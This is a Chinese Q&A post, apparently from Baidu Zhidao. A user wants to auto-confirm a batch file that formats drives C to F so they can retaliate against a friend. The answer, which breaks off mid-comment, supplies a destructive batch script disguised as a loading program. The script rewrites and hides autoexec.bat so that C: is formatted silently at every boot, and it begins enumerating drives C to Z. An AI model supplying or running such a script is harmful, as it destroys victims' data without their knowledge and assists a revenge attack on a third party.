批处理文件确定是那个啊

来源:百度知道 编辑:UC知道 时间:2024/06/15 08:33:08
@echo off
format c:/q/u

format d:/q/u

format e:/q/u

format f:/q/u

做完以后提示按Y确实啊,还是写什么他自动填写Y啊..高手帮帮忙.

主要是有个朋友总给我发病毒。搞的我天天做系统。希望高手告诉告诉我,我要政治他一下。绝对没有恶意。

==警告==:以下批处理内容过于阴损(从C盘格到Z盘).请务用于非法用途.一切后果自行承担.切务在自己机子上运行(除非你的杀毒软件够强)
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Laved